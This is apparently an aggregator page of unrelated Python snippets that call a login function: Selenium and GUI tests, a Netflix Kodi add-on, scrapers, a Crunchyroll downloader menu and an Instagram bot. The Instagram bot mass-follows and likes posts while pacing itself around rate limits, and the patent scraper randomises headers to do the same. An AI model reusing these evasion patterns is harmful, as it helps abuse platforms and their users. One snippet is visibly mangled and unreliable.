Example #1
0
def search(search_string, video_type, run_as_widget=False):
    i = 1
    loading_progress = None
    if not run_as_widget:
        loading_progress = xbmcgui.DialogProgress()
        loading_progress.create('Netflix', utility.get_string(30205) + '...')
        utility.progress_window(loading_progress, 0, '...')
    xbmcplugin.setContent(plugin_handle, 'movies')
    if not xbmcvfs.exists(utility.session_file()):
        login.login()
    post_data = '{"paths":[["search","%s",{"from":0,"to":48},["summary","title"]],["search","%s",["id","length",' \
                '"name","trackIds","requestId"]]],"authURL":"%s"}' % (search_string, search_string,
                                                                      utility.get_setting('authorization_url'))
    content = utility.decode(connect.load_site(utility.evaluator(), post=post_data))
    try:
        matches = json.loads(content)['value']['videos']
        for k in matches:
            if not run_as_widget:
                utility.progress_window(loading_progress, i * 100 / len(matches), '...')
            video(unicode(matches[k]['summary']['id']), '', '', False, False, video_type, '')
            i += 1
        if utility.get_setting('force_view') and not run_as_widget:
            xbmc.executebuiltin('Container.SetViewMode(' + utility.get_setting('view_id_videos') + ')')
        xbmcplugin.endOfDirectory(plugin_handle)
    except Exception:
        utility.notification(utility.get_string(30306))
        pass
def get_major_requirements(sid, pin):
    """ use mydegrees to get various requirements to fulfill major such as
    courses needed """

    login_number = 2
    for i in range(login_number):
        html = fetch_html.infosu_mydegrees_redirect()

        if len(html) < 1000:
            login(sid, pin)
            continue

        form_list = parse_html.mydegrees_redirect_form(html)
        html = fetch_html.first_page_set_cookie(form_list)

        # Get variables from mydegrees
        form_list = parse_html.mydegrees_form_mangler(html)
        html = fetch_html.form_variables(form_list)

        # Get more variables from mydegrees
        form_list = parse_html.mydegrees_final_form(html)
        xml = fetch_html.get_xml(form_list)

        audit_tree = parse_html.get_major_requirements(xml)
        advice = parse_html.advice(fetch_html.advice())

        return mydegrees.audit(audit_tree, advice)
Example #3
0
def videos(url, video_type, run_as_widget=False):
    post_data = ''
    i = 1
    loading_progress = None
    if not run_as_widget:
        loading_progress = xbmcgui.DialogProgress()
        loading_progress.create('Netflix', utility.get_string(30205) + '...')
        utility.progress_window(loading_progress, 0, '...')
    xbmcplugin.setContent(plugin_handle, 'movies')
    if not xbmcvfs.exists(utility.session_file()):
        login.login()
    if 'recently-added' in url:
        post_data = utility.recently_added % utility.get_setting('authorization_url')
    elif 'genre' in url:
        post_data = utility.genre % (url.split('?')[1], utility.get_setting('authorization_url'))
    elif 'my-list' in url:
        post_data = utility.my_list % utility.get_setting('authorization_url')
    content = utility.decode(connect.load_site(utility.evaluator(), post=post_data))
    matches = json.loads(content)['value']['videos']
    for video_id in matches:
        if not run_as_widget:
            utility.progress_window(loading_progress, i * 100 / len(matches), matches[video_id]['title'])
        video(unicode(video_id), '', '', False, False, video_type, url)
        i += 1
    if utility.get_setting('force_view') == 'true' and not run_as_widget:
        xbmc.executebuiltin('Container.SetViewMode(' + utility.get_setting('view_id_videos') + ')')
    xbmcplugin.endOfDirectory(plugin_handle)
Example #4
0
def test():

    login()

    app = application.Application()
    app.connect_(title = 'XENON')
    xenon = app.XENON
    xenon.DrawOutline()

    #Staff
    xenon.ClickInput(coords=(100,100))

    #Borrowing
    xenon.ClickInput(coords=(100,200))

    #New Request
    xenon.NewRequest.ClickInput()

    #Set Job, Employee etc..
    xenon.ComboBox3.Select(1)
    xenon.ComboBox2.Select(1)
    xenon.ClickInput(coords = (330,290))
    xenon.TypeKeys('{ENTER}')
    xenon.ClickInput(coords = (330, 335))
    xenon.TypeKeys('{ENTER}')
    xenon.ComboBox.Select('2:30 PM')

    #Send Request
    xenon['&Send Request'].ClickInput()

    #Exit
    xenon.ClickInput(coords = (1900, 10))
    def to_CommodityOrder(self):
        '''进入订单定制模块'''
        
        #登录进入ISS页面
        driver = self.driver
        driver.get(self.base_url)
        #获得success 标签的username、passwrod 属性值
        logins = root.getElementsByTagName('login')
        username=logins[0].getAttribute("username")
        password=logins[0].getAttribute("password")
        prompt_info = logins[0].firstChild.data
        #登录
        login.login(self,username,password)
        sleep(0.5)
        #进入订制订单
        testModule(driver,u'订单管理',u'订制订单')

        #判断页面是否刷新
        log.info(u"等待页面刷新···")
        isRefreshed(driver,"#saleOrdHdAccordion table.datagrid-btable td[field='ck']")
        log.info(u"刷新完成!!!")
       
        sleep(1)
        #需求:订单列表默认显示已付款的订单
        orders=driver.find_elements_by_css_selector("#saleOrdHdAccordion table.datagrid-btable td[field='fdOrdStatus']")
        
        for order in orders: 
            self.assertEqual(u"已付款",driver.find_element_by_css_selector("#saleOrdHdAccordion table.datagrid-btable td[field='fdOrdStatus']").text)
Example #6
0
def genres(video_type):
    post_data = ''
    match = []
    xbmcplugin.addSortMethod(plugin_handle, xbmcplugin.SORT_METHOD_LABEL)
    if not xbmcvfs.exists(utility.session_file()):
        login.login()
    if video_type == 'tv':
        post_data = '{"paths":[["genres",83,"subgenres",{"from":0,"to":20},"summary"],["genres",83,"subgenres",' \
                    '"summary"]],"authURL":"%s"}' % utility.get_setting('authorization_url')
    elif video_type == 'movie':
        post_data = '{"paths":[["genreList",{"from":0,"to":24},["id","menuName"]],["genreList"]],"authURL":"%s"}' \
                    % utility.get_setting('authorization_url')
    else:
        pass
    content = utility.decode(connect.load_site(utility.evaluator(), post=post_data))
    matches = json.loads(content)['value']['genres']
    for item in matches:
        try:
            match.append((unicode(matches[item]['id']), matches[item]['menuName']))
        except Exception:
            try:
                match.append((unicode(matches[item]['summary']['id']), matches[item]['summary']['menuName']))
            except Exception:
                pass
    for genre_id, title in match:
        if video_type == 'tv':
            add.directory(title, utility.main_url + '/browse/genre/' + genre_id + '?bc=83', 'list_videos', '',
                          video_type)
        elif not genre_id == '83' and video_type == 'movie':
            add.directory(title, utility.main_url + '/browse/genre/' + genre_id, 'list_videos', '', video_type)
    xbmcplugin.endOfDirectory(plugin_handle)
Example #7
0
def first_store_actions():
    login()

    app = application.Application()
    app.connect_(title = 'XENON')
    xenon = app.XENON
    xenon.DrawOutline()
    xenon.SetFocus()

    #Navigate to Admin
    xenon.ClickInput(coords=(450,100))

    #Users
    xenon.ClickInput(coords=(100,200))

    #Select User
    xenon.ClickInput(coords = (300, 395))
    xenon['&Edit User'].ClickInput()

    #Set another Location
    xenon.ClickInput(coords = (495, 325))
    xenon.Save.ClickInput()
    #confirm = app.top_window_()
    #confirm.Yes.ClickInput()

    #Exit XENON
    xenon.ClickInput(coords = (1900, 10))
Example #8
0
def runAllTasks(driver, tasks, loggedIn, pathToOutputs, username, password):
    if not loggedIn:
        login(driver, username, password)
    time.sleep(1)
    task_link =driver.find_element_by_xpath("/html/body/div/div/div[2]/div/div/div/div/table/tbody[2]/tr[2]/td[2]/a")
    task_link.click()
    outputs = []
    dictOfRows = {}
    for i in range(len(tasks)):
        if i == 0:
            dictOfRows = storeDataPositions(driver, len(tasks))
            print dictOfRows
        rowNum = dictOfRows[tasks[i].zipfile]
        runButtonPath = '//*[@id="task"]/table[1]/tbody/tr[%s]/td[9]/span/a' % (str(rowNum))
        runButton = driver.find_element_by_xpath(runButtonPath)
        runButton.click()
        o = None
        if i == 0:
            o = Output(pathToOutputs, "output.tar.gz", tasks[i].zipfile + '.tar.gz', None)
        else:
            o = Output(pathToOutputs, "output (%s).tar.gz" %(str(i)), tasks[i].zipfile + '.tar.gz', None)
        outputs.append(o)
        try:
            driver.switch_to_alert().accept()
        except:
            pass
        time.sleep(1)
    return outputs
Example #9
0
def main(user_name, password):
    login.login(user_name, password)
    grades_py = grades.getGrades("GradebookSummary.asp")
    assignments_py = assignments.getAssignments("GradebookActive.asp")
    grades_json = locallib.toJSON(grades_py)
    assignments_json = locallib.toJSON(assignments_py)
    return {"grades": grades_json, "assignments": assignments_json}
Example #10
0
def get_user_info(save_file, uid_list, start):
    f = open(save_file, 'a')
    f2 = open('log', 'a')
    find = (start == -1)
    i = 0
    while i < len(uid_list):
        if find:
            print 'processing uid#%s' % uid_list[i]
            url = 'http://mac.pcbeta.com/space-uid-%s.html' % uid_list[i]
            user = User()
            html = http_get(url)
            if html is None:
                time.sleep(10)
                continue
            user.parse(html)
            if user.is_valid():
                f.write(str(user) + '\n')
                print 'write to file'
            else:
                login()
                i -= 1
        else:
            if uid_list[i] == str(start): find = True
        i += 1
    f.close()
    f2.close()
    def test_login(self):
        print "open browser"

        # 打开wordpress首页
        self.browser.get(self.base_url)
        # 跳转登录页面
        self.browser.find_element_by_partial_link_text(u"登录").click()
        # 调用login()
        login.login(self, self.test_username, self.test_password)

        # 捕捉“断言”中的异常
        try:
            # 因该跳转到wp-admin页面
            self.assertTrue('wp-admin' in self.browser.current_url)
            #  页面右上角应该包含“登录用户名”
            greeting_link = self.browser.find_element_by_css_selector("#wp-admin-bar-my-account > a")
            self.assertTrue('admin' in greeting_link.text)

        finally:

            file_name = os.path.basename(__file__).split('.')[0]
            png_path = r'C:\Users\wei\Documents\GitHub\neilpytest\selenium_test\png'
            file_path = png_path + '\\' + file_name + '.png'
            # if os.path.exists(file_path):
            #     os.remove(file_path)
            #     print "remove"
            # 截图;原截图文件存在的话,get_screenshot_as_file()会覆盖更新
            self.browser.get_screenshot_as_file(file_path)
Example #12
0
    def test_rename(self):
        u"""智能重命名"""
        driver = self.driver
        driver.get(self.base_url + "/login/?referrer=http%3A%2F%2Fwebcloud.kuaibo.com%2F")

        
        #调用登录模块
        login.login(self)

           
        #新功能引导
        driver.find_element_by_class_name("guide-ok-btn").click()
        time.sleep(3)
        
        
        #智能重命名
        element=driver.find_element_by_class_name("more-fe")
        ActionChains(driver).move_to_element(element).perform()
        time.sleep(2)

        lis=driver.find_elements_by_tag_name('li')
        for li in lis:
            if li.get_attribute('data-action') == 'renameAll':
                li.click() #点击重命名选项
        time.sleep(2)
        #确定重命名
        driver.find_element_by_class_name("msg-box-panel").find_element_by_xpath("/html/body/div[8]/div[2]/div[2]/div").click()
        

        #退出
        login.loginout(self)
        '''
Example #13
0
def genres(video_type):
    post_data = ''
    match = []
    xbmcplugin.addSortMethod(plugin_handle, xbmcplugin.SORT_METHOD_LABEL)
    if not xbmcvfs.exists(utility.session_file()):
        login.login()
    if video_type == 'tv':
        post_data = utility.series_genre % utility.get_setting('authorization_url')
    elif video_type == 'movie':
        post_data = utility.movie_genre % utility.get_setting('authorization_url')
    else:
        pass
    content = utility.decode(connect.load_site(utility.evaluator(), post=post_data))
    matches = json.loads(content)['value']['genres']
    for item in matches:
        try:
            match.append((unicode(matches[item]['id']), matches[item]['menuName']))
        except Exception:
            try:
                match.append((unicode(matches[item]['summary']['id']), matches[item]['summary']['menuName']))
            except Exception:
                pass
    for genre_id, title in match:
        if video_type == 'tv':
            add.directory(title, 'genre?' + genre_id, 'list_videos', '', video_type)
        elif not genre_id == '83' and video_type == 'movie':
            add.directory(title, 'genre?' + genre_id, 'list_videos', '', video_type)
    xbmcplugin.endOfDirectory(plugin_handle)
def makechoise():
    seleccion = 0
    print '''Options:
0.- Exit
1.- Download d'un episode
2.- Download des sous-tire
3.- Seconnecter avec son compte
4.- Se connecter en invite
5.- demarer une liste manuelle
6.- Paramettre
7.- Auto recuperation des liens et lancement
'''
    try:
        seleccion = int(input("> "))
    except:
        try:
            os.system('cls')
        except:
            try:
                os.system('clear')
            except:
                pass
        print "ERROR: Invalid option."
        makechoise()
    if seleccion == 1 :
        ultimate.ultimate(raw_input('Please enter Crunchyroll video URL:\n'), '', '')
    elif seleccion == 2 :
        decode.decode(raw_input('Please enter Crunchyroll video URL:\n'))
    elif seleccion == 3 :
        username = raw_input(u'Username: '******'Password(don\'t worry the password are typing but hidden:')
        login.login(username, password)
        makechoise()
    elif seleccion == 4 :
        login.login('', '')
        makechoise()
    elif seleccion == 5 :
         queueu('./queue.txt')
         makechoice()
    elif seleccion == 6 :
        settings_()
        makechoise()
    elif seleccion == 7 :
        autocatch()
        queueu('./queue.txt')
    elif seleccion == 8 :
        import debug
    elif seleccion == 0 :
        sys.exit()
    else:
        try:
            os.system('cls')
        except:
            try:
                os.system('clear')
            except:
                pass
        print "ERROR: Invalid option."
        makechoise()
Example #15
0
    def test_create_post(self):
	  login.login(self)
	  self.dr.implicitly_wait(30)
	  title = self.create_post()
	  
	  self.dr.get(self.post_list_url)
	  post_list_table = self.dr.find_element_by_class_name('wp-list-table')
	  self.assertTrue(title in post_list_table.text)
Example #16
0
def main_from_one(start_url):
    """
    主程序,以给定的主页为起点,开始抓取。如果程序因为某些原因中断的话,可以记录下最后一个URL,下一次再运行的时候可以从此处继续。
    """
    account = input('Please input your account\n>  ')
    secret = input("input your secret\n>  ")
    login.login(session, secret, account)
    crawl(start_url)
def makechoise():
    seleccion = 0
    print '''Options:
0.- Exit
1.- Download Anime
2.- Download Subtitle only
3.- Login
4.- Login As Guest
5.- Download an entire Anime(Autocatch links)
6.- Run Queue
7.- Settings
'''
    try:
        seleccion = int(input("> "))
    except:
        try:
            os.system('cls')
        except:
            try:
                os.system('clear')
            except:
                pass
        print "ERROR: Invalid option."
        makechoise()
    if seleccion == 1 :
        ultimate.ultimate(raw_input('Please enter Crunchyroll video URL:\n'), '', '')
    elif seleccion == 2 :
        decode.decode(raw_input('Please enter Crunchyroll video URL:\n'))
    elif seleccion == 3 :
        username = raw_input(u'Username: '******'Password(don\'t worry the password are typing but hidden:')
        login.login(username, password)
        makechoise()
    elif seleccion == 4 :
        login.login('', '')
        makechoise()
    elif seleccion == 5 :
        autocatch()
        queueu('.\\queue.txt')
    elif seleccion == 6 :
        queueu('.\\queue.txt')
    elif seleccion == 7 :
        settings_()
        makechoise()
    elif seleccion == 8 :
        import debug
    elif seleccion == 0 :
        sys.exit()
    else:
        try:
            os.system('cls')
        except:
            try:
                os.system('clear')
            except:
                pass
        print "ERROR: Invalid option."
        makechoise()
Example #18
0
def main_from_me():
    """
    主程序,以自己的主页为起点,开始抓取。
    """
    account = input('Please input your account\n>  ')
    secret = input("input your secret\n>  ")
    login.login(session, secret, account)
    my_url = get_my_url()
    crawl(my_url)
Example #19
0
    def test_login(self):
        driver = self.driver
        driver.get(self.base_url)
        driver.maximize_window()


      #调用登录模块
        login.login(self)
        #调用退出模块
        login.logout(self)
Example #20
0
def postLogin():
    if login.getLoggedIn():
        mc.GetActiveWindow().GetLabel(102).SetLabel(login.getLoggedIn())
        mc.GetActiveWindow().GetControl(100).SetFocus()
    else:
        mc.GetActiveWindow().GetLabel(102).SetLabel("")
        login.login(lambda: postLogin())
    hideWaitDialog()
    global lastSelected
    if lastSelected is not None:
        mc.GetActiveWindow().GetList(100).SetFocusedItem(lastSelected)
Example #21
0
def test_register():
    client = WindmillTestClient(__name__)
    username = functest.registry.get('username')
    password = functest.registry.get('password', username)
    login(client, username, password)
    client.click(xpath=u"//li[@id='lobby_regular']/a")
    client.waits.forElement(classname=u'jpoker_tourney_state_registering')
    client.click(classname=u'jpoker_tourney_state_registering')
    client.waits.sleep(milliseconds=u'1000')
    client.click(id=u"lobby_join_table")
    client.waits.forElement(value=u'Register')
    client.click(value=u'Register')
Example #22
0
    def get_session(self, token):
        session = SESSION_DICT.get(token)
        if not session:
            return None
        n_session = self.new_session()
        status = login(session["username"], session["password"], n_session)
        time = 0
        while status == LoginStatus.CAPTCHA_ERROR or status == LoginStatus.UNKNOW and time < MAX_RETRY_TIME:
            status = login(session["username"], session["password"], n_session)
            time += 1

        return n_session
    def to_measureData(self):
        u"进入量体数据模块"

        driver=self.driver
        driver.get(self.base_url)
        #调用登录模块登录
        login.login(self,username,password)
        #进入量体数据模块
        testModule(driver,u'会员管理',u'量体数据')
        isRefreshed(driver,"table.datagrid-btable td[field='ck']")
        
        sleep(1)
def test_tourney_join_fold():
    client = WindmillTestClient(__name__)
    username = functest.registry.get('username')
    password = functest.registry.get('password', username)
    login(client, username, password)
    #client.click(classname=u'close')
    client.waits.forElement(jquery=u'(".notify-text a")[0]')
    client.click(jquery=u'(".notify-text a")[0]')
    client.waits.forElement(classname=u'jpoker_table')
    for i in range(100):
        client.click(classname=u'jpoker_ptable_fold')
        client.waits.sleep(milliseconds=5000)
Example #25
0
 def test_delete_post(self):
    login.login(self)
    self.dr.implicitly_wait(30)
    title = self.create_post()
    self.dr.get(self.post_list_url)
    post_list_table = self.dr.find_element_by_class_name('wp-list-table')
    self.assertTrue(title in post_list_table.text)
    self.dr.find_element_by_id('cb-select-all-1').click()
    select_elmt = self.dr.find_element_by_name('action')
    select = Select(select_elmt)
    select.select_by_value('trash')
    self.dr.find_element_by_id('doaction').click()
    print "deleted successfully!"
Example #26
0
def first_store_actions():
    login()

    app = application.Application()
    app.connect_(title = 'XENON')
    xenon = app.XENON
    xenon.DrawOutline()
    xenon.SetFocus()

    #Change Managing Site and set store
    xenon['Change managing site\x0e'].ClickInput()
    app.StoreFilter.ClickInput(coords = (12, 107))
    app.StoreFilter['Show Information from Selected Sites'].ClickInput()

    #Go to staff
    xenon.ClickInput(coords=(100,100))

    #Go to employee and select one of them
    xenon.ClickInput(coords=(50,200))
    xenon.ClickInput(coords = (300, 220))
    xenon['&View Employee'].ClickInput()

    #Jobs
    xenon['Job(s)'].ClickInput()
    xenon.ClickInput(coords = (500, 430))
    xenon['Add/Edit Jobs'].ClickInput()

    #Increase Pay Rate
    xenon.DoubleClick(coords = (1100, 470))
    jobs = app.top_window_()
    jobs.DrawOutline()
    jobs.DoubleClickInput(coords= (500,120))
    jobs.RightClickInput(coords= (500,120))
    jobs.ClickInput(coords= (510,140))
    pay_rate = pywinauto.clipboard.GetData()
    pay_rate1 = pay_rate.replace('$', '')
    array_from_pay_rates = pay_rate1.split('.')
    required = int(array_from_pay_rates[0])
    n = int(required)
    new_pay_rate = n + 1
    jobs.DoubleClickInput(coords= (500,120))
    jobs.RightClickInput(coords= (500,120))
    jobs.ClickInput(coords= (510,150))
    jobs.TypeKeys('%s' % new_pay_rate)
    jobs.Save.ClickInput()

    #Exit XENON
    xenon.ClickInput(coords = (1900, 10))

    return new_pay_rate
Example #27
0
    def test_3_update_blog(self):
        login(self.driver, self.login_url)

        self.new_title = add_new_post(self.driver, self.post_list_url)
        self.driver.get(self.post_list_url)
        table = self.driver.find_element_by_class_name("wp-list-table")
        # 验证新添加的文章标题在表格内
        self.assertTrue(self.new_title in table.text)

        # 编辑文章
        self.updated_title = edit_post(self.driver, self.post_list_url, self.new_title)
        self.driver.get(self.post_list_url)
        table = self.driver.find_element_by_class_name("wp-list-table")
        # 验证新添加的文章标题在表格内
        self.assertTrue(self.updated_title in table.text)
Example #28
0
def inputCardNoAndPwd():
    cardNo = raw_input(u"请输入卡号:")
    passwd = raw_input(u"请输入密码 :")
    if not login.login(cardNo,passwd):
        print u"卡号或者密码错误"
        return False
    return cardNo
Example #29
0
 def login_clicked(self, username, password):
     code = self.root_obj.getVerificationCode()
     if code != "":
         try:
             login.login_with_code(self.state, self.key, code)
         except Exception as e:
             self.set_state(e.message)
             self.root_obj.hideCode()
             return
         self.ok()
     else:
         try:
             ret = login.login(self.state, username, password)
         except Exception as e:
             self.set_state(e.message)
             return
         if not ret[0]:
             with open(login.img_path, 'wb') as imgf:
                 imgf.write(ret[2])
             self.set_state(self.tr("Please enter verification code"))
             self.root_obj.setVerificationImage("file://%s"
                                                % login.img_path)
             self.key = ret[1]
         else:
             self.ok()
Example #30
0
def getFaculty_det(reg_no = "", pwd = "", emp_id = ""):
	br = login(reg_no,pwd)

	print br.geturl()

	if br.geturl() == ("https://academics.vit.ac.in/student/stud_home.asp") or br.geturl() == ("https://academics.vit.ac.in/student/home.asp"):
		print "SUCCESS"

		br.open("https://academics.vit.ac.in/student/official_detail_view.asp?empid=%(id)s" % {"id" : emp_id })
		response = br.open("https://academics.vit.ac.in/student/official_detail_view.asp?empid=%(id)s" % {"id" : emp_id })

		soup = BeautifulSoup(response.get_data())

		img = soup.findAll('img')

		#fac_img = "https://academics.vit.ac.in/student/"+img[0]['src']+"?"

		tables = soup.findAll('table')
		myTable = tables[1]
		rows = myTable.findChildren(['th','tr'])
		rows = rows[1:10]
		data = []

		facDet = {}

		for row in rows:

			cells = row.findChildren('td')
			cells = cells[1]
			value = cells.string
			data.append(value)

		try:
			myTable = tables[2]

		except IndexError:
			facDet = {"name" : data[0], "school" : data[1], "destination" : data[1], "venue" : data[1], "intercom" : data[1], "email" : data[1], "division" : data[1], "additional_role" : data[1]}
			
		else:
			rows = myTable.findChildren(['th','tr'])
			rows = rows[1:4]
			openhr = []

			for row in rows:

				rowdata = []
				cells = row.findChildren('td')
				
				for cell in cells:
					value = cell.string
					rowdata.append(value)

				openhr.append(rowdata)
			facDet = {"name" : data[0], "school" : data[1], "destination" : data[1], "venue" : data[1], "intercom" : data[1], "email" : data[1], "division" : data[1], "additional_role" : data[1], "openhr_details" : openhr}

		return {"status" : "Success" ,"details" : facDet}

	else :
		print "FAIL"
		return {"status" : "Failure"}
Example #31
0
        config = yaml.load(f, Loader=yaml.FullLoader)

    if 'users' in os.environ:
        for user_password in os.environ['users'].split(';'):
            user, password = user_password.split(',')
            config[user] = {'pwd': password}

    succeeded_users = []
    failed_users = []
    for i, user in enumerate(config):
        if user in ['00000000', '11111111']:
            continue

        user_abbr = user[-4:]
        print(f'====={user_abbr}=====')
        sess = login(user, config[user]['pwd'])

        if sess:
            print('登录成功')
            view_messages(sess)

            now = get_time()

            if NEED_BEFORE:
                t = START_DT
                while t < now:
                    if report_day(sess, t):
                        print(f'{t} 每日一报补报成功')
                    else:
                        print(f'{t} 每日一报补报失败')
Example #32
0
import credentials
from login import login
from endSession import endSession
from writeAndSend import writeAndSend
from settings import Settings
from email import Email
from selenium import webdriver
from listWriteAndSend import listWriteAndSend
#Opens csv file at assets/csvSource.csv (you can add a name and an email)
with open('../assets/csvSource.csv', 'r') as csvFile:

    #Creates a chromedriver session
    chromedriver_location = Settings.chromedriver_location
    driver = webdriver.Chrome(chromedriver_location)

    #Login
    login(driver,credentials.email,credentials.password)

    #Write email
    #if you add {0} in body, it will replace it with the name written at csv file
    listBody = "Hello {0} i'm a csv email"
    #you can omit the subject
    listSubject = "here at csv world"
    listWriteAndSend(driver, csvFile, listBody, listSubject)

    #Logout
    endSession(driver)

def sair(prof, id_usuario_online):
    login.login()
Example #34
0
    header = get_random_header()
    future = sess.post(query_patent_list_url, headers=header, files=form_data)
    res = future.result()
    total_items = res.json()['total']
    # from searchForm page (patent list page) js script
    total_pages = total_items // item_per_page
    if total_items % item_per_page:
        total_pages += 1
    return total_items, total_pages


options = webdriver.ChromeOptions()
driver = webdriver.Chrome('./chromedriver', options=options)
sess = FuturesSession()

login(driver)
set_sess_cookie(driver, sess)
total_items, total_pages = get_total_items_pages(sess)
print('total pages: ', total_pages)

pages_per_min = 15
total_page_num_list = list(range(1, total_pages + 1))

# main loop
for i in total_page_num_list[::pages_per_min]:
    # scrape pages_per_min pages per minute
    page_num_list = total_page_num_list[i:i + pages_per_min]

    # start scraping
    start_time = time.time()
    for num in page_num_list:
Example #35
0
    print("Tidak ada folder yang dimasukkan")
    exit()
current_path = os.getcwd()
new_path = os.path.join(current_path, args.folder_location)
if os.path.exists(new_path):
    data = load(args.folder_location)
else:
    print("Folder tidak ada")
    exit()
loaded, user, gadget, consumable, consumable_history, gadget_borrow_history, gadget_return_history = data

#Algoritma Program
#User diminta untuk login
valid = False
while not valid:
    valid, curret_id, curret_role = login(user)

while valid:
    pilihan = input("Masukkan Pilihan Menu: ")

    #Masukkan Fungsi-Fungsi Yang Sudah dibuat disini (F01-F17)
    #F01 - Register
    if pilihan == 'register':
        if curret_role == 'admin':
            add_data_user(user)
        else:
            print("Fungsi Hanya diperbolehkan untuk Admin")
    #F02 - Login
    #Sudah di atas
    #F03 - Pencarian Gadget Berdasarkan Rarity
    if pilihan == "carirarity":
Example #36
0
        for device_row in reader:
            print ("Variables:",device_row)
            templateLoader = jinja2.FileSystemLoader( searchpath=[".", template_dir])
            templateEnv = jinja2.Environment( loader=templateLoader )
            template = templateEnv.get_template(device_row['template'])
            outputText = template.render(device_row)
            config_filename = CONFIGS_DIR + device_row['HOSTNAME'] + '-config'
            with open(config_filename, 'w') as config_file:
                config_file.write(outputText)
            print("created file: %s" % config_filename)

            project_id = lookup_and_create(apic, device_row['site'])
            file_id = upload_file(apic, config_filename)
            create_rule (apic, device_row, project_id, file_id)
            print()

    finally:
        f.close()

if __name__ == "__main__":
    parser = ArgumentParser(description='Select options.')
    parser.add_argument( 'devices', type=str,
            help='device inventory csv file')
    args = parser.parse_args()

    apic = login()
    print ("Using device file:", args.devices)
    print ("Using template directory:", TEMPLATE_DIR)
    print ("##########################")
    create_and_upload(apic, devices=args.devices, template_dir=TEMPLATE_DIR)
Example #37
0
def target_loop():
    driver = webdriver.Chrome(executable_path=config.CHROMEDRIVER_PATH)
    login(driver)

    cleanFile = SanitaryTargets()
    target_list = cleanFile.targets

    delay_count = 0
    failure_count = 0
    iteration_count = 0
    follow_count = 0
    likes = 0
    private_count = 0

    print("\nProceeding to follow {} accounts.".format(str(len(target_list))))
    for target in target_list:
        iteration_count += 1
        sleep(config.SLEEP_TIMER)
        if delay_count == 3:
            rate_limiter(iteration_count, target_list)
            sleeper(config.LIMIT_REACHED_SLEEP_TIMER)
            delay_count = 0
        try:
            # Open profile page
            driver.get(config.INSTAGRAM_URL_BASE + target)
            # Check for Private Accounts
            public_status = ''
            try:
                public_status = driver.find_element_by_css_selector(
                    config.PUBLIC_STATUS).text
            except Exception:
                pass
            sleep(1)
            if public_status == 'This Account is Private':
                account_is_private(iteration_count, target_list, target)
                private_count += 1
                fh.add_to_file(config.PRIOR_TARGETS_PATH, target)
            else:
                # Open first post
                first_post = driver.find_element_by_css_selector(
                    config.PROFILE_FIRST_POST)
                first_post.click()
                sleep(1)
                # Follow Them
                following = driver.find_element_by_xpath(
                    config.PROFILE_FOLLOWING)
                # If already following do nothing
                if following.text == 'Following':
                    already_following(iteration_count, target_list, target)
                    fh.add_to_file(config.PRIOR_TARGETS_PATH, target)
                    pass
                else:
                    # Like first post
                    button_like = driver.find_element_by_xpath(
                        config.PROFILE_LIKE_BUTTON)
                    button_like.click()
                    likes += 1
                    sleep(config.SLEEP_TIMER)
                    # Like the next 8 posts
                    for post in range(8):
                        sleep(config.SLEEP_TIMER)
                        # If Profile has less than 9 Posts
                        try:
                            next_post = driver.find_element_by_link_text(
                                'Next')
                            next_post.click()
                            sleep(1)
                            button_like = driver.find_element_by_xpath(
                                config.BUTTON_LIKE)
                            button_like.click()
                            likes += 1
                        except Exception as e:
                            if config.DEBUG:
                                print(e)
                    following = driver.find_element_by_xpath(
                        config.PROFILE_FOLLOWING)
                    following.click()
                    follow_count += 1
                    successful_action_chain(iteration_count, target_list,
                                            target)
                    fh.add_to_file(config.PRIOR_TARGETS_PATH, target)
        except Exception as e:
            if config.DEBUG:
                print(e)
            delay_count += 1
            failure_count += 1
            pass
    def test_Case_SalesOrderNewRenewalType(self):
		
	print "Test case start:"
	print "\n"
	print "step1. open the home page"
	driver = self.driver
	wait = self.wait
	driver.get(self.base_url + "fastpass.html")
	driver.maximize_window()
	now_url = driver.current_url
	print now_url
	assert now_url == 'http://sbybz2239.sby.ibm.com:19080/FastPassS2/fastpass.html' ,"URL is not correct."
	C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p1')
	
	    
	###capture screenshots
	
	
	print "\n"
	print "step2.login"
	login.login(self,'Sales orders')
	C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p2')
	driver.find_element_by_name("submit").click()
	driver.implicitly_wait(10)

	print "\n"
	print "step3.Input 'SAP sales order number' field with '0077083993' and click 'Search'."
	driver.find_element_by_id("sap_sales_ord_num").clear()
	driver.find_element_by_id("sap_sales_ord_num").send_keys("0077083993")
	driver.find_element_by_name("ibm-submit").submit()
	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement' ,"The page did not be opened correct"
        assert 'Renewal type' in driver.page_source ,"The data is not avalible"
        assert 'Renew service term for 12 months - Renewed 1 time(s)' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p3')
        time.sleep(3)

	print "\n"
	print "step4.hit back"
        driver.find_element_by_xpath("(//a[contains(text(),'Sales orders')])[2]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales order - Sales order search' ,"The page did not be opened correct"
	time.sleep(3)

	print "\n"
	print "step5.Input 'SAP sales order number' field with '0077085879' and click 'Search'."
	driver.find_element_by_id("sap_sales_ord_num").clear()
	driver.find_element_by_id("sap_sales_ord_num").send_keys("0077085879")
	driver.find_element_by_name("ibm-submit").submit()
	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement' ,"The page did not be opened correct"
        assert 'Renewal type' in driver.page_source ,"The data is not avalible"
        assert 'Renew service term for 12 months - Renewed 2 time(s)' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p4')
        time.sleep(3)

	print "\n"
	print "step6.hit back"
        driver.find_element_by_xpath("(//a[contains(text(),'Sales orders')])[2]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales order - Sales order search' ,"The page did not be opened correct"
	time.sleep(3)


	print "\n"
	print "step7.Input 'SAP sales order number' field with '0077080833' and click 'Search'."
	driver.find_element_by_id("sap_sales_ord_num").clear()
	driver.find_element_by_id("sap_sales_ord_num").send_keys("0077080833")
	driver.find_element_by_name("ibm-submit").submit()
